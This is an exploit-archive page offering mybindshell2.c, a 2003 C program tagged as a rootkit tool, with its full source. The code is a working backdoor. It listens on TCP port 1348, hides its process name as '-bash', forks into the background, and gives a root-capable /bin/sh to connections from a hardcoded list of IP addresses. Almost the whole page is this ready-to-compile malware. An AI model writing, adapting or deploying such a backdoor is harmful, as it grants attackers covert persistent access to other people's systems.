exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

mybindshell2.c

mybindshell2.c
Posted Dec 15, 2003
Authored by konewka | Site olek.org

Bindshell which has a password and defaults to tcp port 1348. Includes the ability to only allow certain IP's.

tags | tool, tcp, rootkit
systems | unix
SHA-256 | a99092c6a71a54dd9ddcfb2fa7d85132274feaf9c4e7738d40c42a4ecdc05cf2

mybindshell2.c

Change Mirror Download
/* mybindshell2.c copyrights by konewka <crackhead88@wp.pl>
*
* another bindshell which spawns a shell to an allowded ip.
* edit defines and enter your ips.
*
* http://www.olek.org/
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>

#define PORT 1348
#define MAXCLIENTS 3
#define HIDE "-bash"
#define SHELL "/bin/sh"
#define CMD "uname -sr"

int allow(u_char *ip);
void go(u_int sd, u_char *src);

u_char* allowip[] = { "192.168.0.1", "217.97.31.90", "217.98.221.144", (void*)0 };
u_char motd[] = "Welcome to mybindshell2.\nHint: Put ';' before each command.\n";

int allow(u_char *ip) {
u_int i;

for (i=0;allowip[i] != NULL;i++) {
if (!strcmp(ip, allowip[i]))
return 1;
}
return 0;
}

void go(u_int sd, u_char *src) {
if (allow(src)) {
write(sd, motd, strlen(motd));
dup2(sd, 0); dup2(sd, 1); dup2(sd, 2); /* stderr, stdout, stdin .. */
system(CMD);
execl(SHELL, SHELL, (char *)0); /* spawn a shell */
close(sd);
exit(0);
}

close(sd);
exit(0);
}

main(int argc, char *argv[]) {
struct sockaddr_in home, remote;
u_int sockIN, sockOUT, len, i;

for (i=0;i<argc;i++)
memset(argv[i], 0, strlen(argv[i]));
strncpy(argv[0], HIDE, strlen(HIDE));

memset((u_char *)&home, 0, sizeof(home));

home.sin_family = AF_INET;
home.sin_addr.s_addr = INADDR_ANY;
home.sin_port = htons(PORT);

if ((sockIN = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket()");
return 1; }

if (bind(sockIN, (struct sockaddr *)&home, sizeof(home))) {
perror("bind()");
return 1; }

if (listen(sockIN, MAXCLIENTS)) {
perror("listen()");
return 1; }

fprintf(stdout, "[*] allow ips:\n");
for (i=0;allowip[i] != NULL;i++)
printf("[%d] %s\n", i+1, allowip[i]);
len = sizeof(home);

if (fork())
exit(0);

while (1) {
sockOUT = accept(sockIN, (struct sockaddr *)&remote, &len);
if (fork() != 0) {
close(sockIN);
go(sockOUT, inet_ntoa(remote.sin_addr));
}
close(sockOUT);
}

close(sockIN);
return 0;
}
Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    16 Files
  • 12
    Aug 12th
    5 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close